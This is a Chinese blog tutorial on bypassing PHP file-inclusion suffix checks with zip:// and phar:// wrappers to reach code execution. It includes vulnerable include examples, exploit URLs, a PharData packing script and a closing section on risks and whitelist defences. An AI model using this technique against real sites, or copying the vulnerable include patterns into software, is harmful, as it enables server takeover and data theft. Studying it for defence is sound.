【文件包含技巧拓展】————2、zip或phar协议包含文件

本文探讨了在PHP环境中如何通过zip与phar协议绕过常见的文件包含限制,实现远程代码执行。介绍了如何构造zip://与phar://URL来包含指定的PHP脚本,适用于PHP 5.3.0及更高版本。

这个方法适用于验证包含文件为特定后缀时。 例如以下代码

<?php
$file = $_GET['file'];
if(isset($file) && strtolower(substr($file, -4)) == ".jpg"){
	include($file);
}
?>

<?php
$file = $_GET['file'];
include($file.'.jpg');
?>

上面的代码一个验证了后缀是否为jpg,一个是直接添加了jpg后缀,然后才包含。对于现在这种情况,要包含php文件的话的,可以通过截断。但是\x00的截断在php>5.3.4就没用了,而且还要考虑GPC,所以是比较鸡肋的方法。其实我们可以通过zip协议和phar协议来包含文件。

zip://

首先我们新建一个zip文件,里面压缩着一个php脚本。

然后我们构造zip://php.zip#php.jpg

http://127.0.0.1/file.php?file=zip://php.zip%23php.jpg

这样就成功shell了。

phar://

首先我们要用phar类打包一个phar标准包

<?php
$p = new PharData(dirname(__FILE__).'/phartest2.zip', 0,'phartest2',Phar::ZIP) ; 
$x=file_get_contents('./php.php');
$p->addFromString('a.jpg', 
$x); 
?>

会生成一个zip的压缩文件。然后我们构造

http://127.0.0.1/file.php?file=phar://php.zip/php.jpg

也可以直接shell

其中phar适用范围为php>5.3.0

以下的这种包含方式在这样的情况下是无效的。

include(一个规定的路径+可控点)

 

 

### 关于PHP文件包含漏洞与ZIP协议 #### ZIP协议概述 `phar://` 协议允许将多个PHP文件打包成单一文件,并支持与其他压缩格式如ZIP互转。此特性使得攻击者可以通过上传特制的ZIP文件并利用文件包含漏洞来执行任意代码[^1]。 #### 使用场景 当应用程序存在本地远程文件包含漏洞时,如果服务器配置不当,则可能允许通过 `phar://` 类似的伪协议访问和解析ZIP包内的资源。例如,在某些情况下,开发者可能会错误地认为只允许特定扩展名(如.jpg)是安全措施之一,但实际上这些图片文件内部可以嵌入恶意的PHP代码并通过ZIP归档绕过简单的文件类型检查[^2]。 #### 安全风险 这种类型的攻击可能导致严重的后果: - **远程命令执行**:一旦成功注入含有恶意脚本的ZIP档案,并被应用加载运行,就可实现完全控制目标主机。 - **敏感信息泄露**:攻击者能够读取系统上的任何文件,包括但不限于数据库凭证、源码等重要资料。 - **横向移动**:借助已获取权限进一步探索内网环境,寻找更多潜在弱点加以利用。 为了防止此类威胁的发生,建议遵循最佳实践指南加强防御层次,比如采用严格的输入验证策略、实施最小权限原则以及定期审查第三方库的安全状态等措施[^4]。 ```php // 不推荐的做法 - 存在安全隐患 include($_GET['page']); // 推荐做法 - 白名单限定合法页面路径 $allowed_pages = ['home', 'about']; $page = isset($_GET['page']) && in_array($_GET['page'], $allowed_pages) ? $_GET['page'] : 'home'; include("$page.php"); ```
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值